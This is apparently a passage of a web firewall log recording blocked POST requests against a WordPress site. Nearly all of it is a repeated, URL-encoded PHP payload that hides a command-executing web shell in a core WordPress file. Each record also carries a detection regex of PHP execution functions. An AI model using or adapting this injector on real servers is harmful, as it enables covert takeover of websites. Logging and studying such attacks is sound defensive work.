529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:02","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:7043\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHHDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nQD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:04","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent9.%2524ent3.%2524ent1.%2524ent3.%2524ent7.%25276%2527.%2527f%2527.%2524ent2.%25273%2527.%2524ent3.%2524ent6%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent13.%25277%2527.%25270%2527.%2524ent2.%25270%2527.%2524ent6.%2524ent8.%2524ent3.%25279%2527.%25276%2527.%2527e%2527.%25276%2527.%2524ent14.%2524ent2.%2524ent10.%2524ent3.%25279%2527.%2524ent3.%2524ent13.%2524ent3.%2527c%2527.%2524ent3.%25279%2527.%2524ent2.%2527a%2527.%25276%2527.%2524ent6.%2524ent2.%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524hub_center1%2529%2529%257B%2524hub_center1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center2%2529%2529%257Bprint%2520%2524hub_center2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center3%2529%2529%257B%2524hub_center3%2528%2524app_initializer%252C%2524hld_value%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524hld_value%2529%253B%257Delseif%2528function_exists%2528%2524hub_center4%2529%2529%257B%2524hub_center4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524hub_center5%2529%2526%2526function_exists%2528%2524hub_center6%2529%2526%2526function_exists%2528%2524hub_center7%2529%2529%257B%2524ent_property_set%253D%2524hub_center5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524ent_property_set%2529%257B%2524flg_fac%253D%2524hub_center6%2528%2524ent_property_set%2529%253B%2524hub_center7%2528%2524ent_property_set%2529%253Bprint%2520%2524flg_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-length:7043\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvERLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nDF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524ent1%2520%253D%2520%25273%2527%253B%2524ent2%2520%253D%2520%25277%2527%253B%2524ent3%2520%253D%2520%25276%2527%253B%2524ent4%2520%253D%2520%2527d%2527%253B%2524ent5%2520%253D%2520%25278%2527%253B%2524ent6%2520%253D%2520%25275%2527%253B%2524ent7%2520%253D%2520%2527c%2527%253B%2524ent8%2520%253D%2520%2527f%2527%253B%2524ent9%2520%253D%2520%25270%2527%253B%2524ent10%2520%253D%2520%25274%2527%253B%2524ent11%2520%253D%2520%2527e%2527%253B%2524ent12%2520%253D%2520%25272%2527%253B%2524ent13%2520%253D%2520%25271%2527%253B%2524ent14%2520%253D%2520%25279%2527%253B%2524hub_center1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent1.%2524ent2.%25279%2527.%25277%2527.%25273%2527.%2524ent2.%25274%2527.%2524ent3.%25275%2527.%25276%2527.%2524ent4%2529%253B%2524hub_center2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%2524ent1.%2524ent3.%2524ent5.%2524ent3.%2524ent6.%25276%2527.%2524ent7.%25276%2527.%2527c%2527.%25275%2527.%2524ent8.%2524ent3.%25275%2527.%25277%2527.%2524ent5.%25276%2527.%2524ent6.%2524ent3.%25273%2527%2529%253B%2524hub_center3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524ent6.%2524ent2.%25278%2527.%25276%2527.%2524ent6.%25276%2527.%25273%2527%2529%253B%2524hub_center4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%2524ent9.%25276%2527.%25271%2527.%2524ent2.%25273%2527.%2524ent2.%2524ent1.%25277%2527.%2524ent10.%25276%2527.%25278%2527.%2524ent2.%25272%2527.%2524ent2.%25275%2527%2529%253B%2524hub_center5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524ent3.%2524ent8.%25277%2527.%2524ent9.%25276%2527.%2524ent6.%25276%2527.%2524ent11%2529%253B%2524hub_center6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524ent2.%25273%2527.%25277%2527.%2524ent10.%2524ent2.%2524ent12.%25276%2527.%2524ent6.%2524ent3.%25271%2527.%25276%2527.%2527d%2527.%25275%2527.%2527f%2527.%2524ent3.%25277%2527.%2524ent3.%25275%2527.%2524ent2.%25274%2527.%25275%2527.%2524ent8.%25276%2527.%2524ent1.%25276%2527.%2524ent8.%2524ent3.%2527e%2527.%2524ent2.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524ent11.%25277%2527.%25274%2527.%25277%2527.%2524ent1%2529%253B%2524hub_center7%2520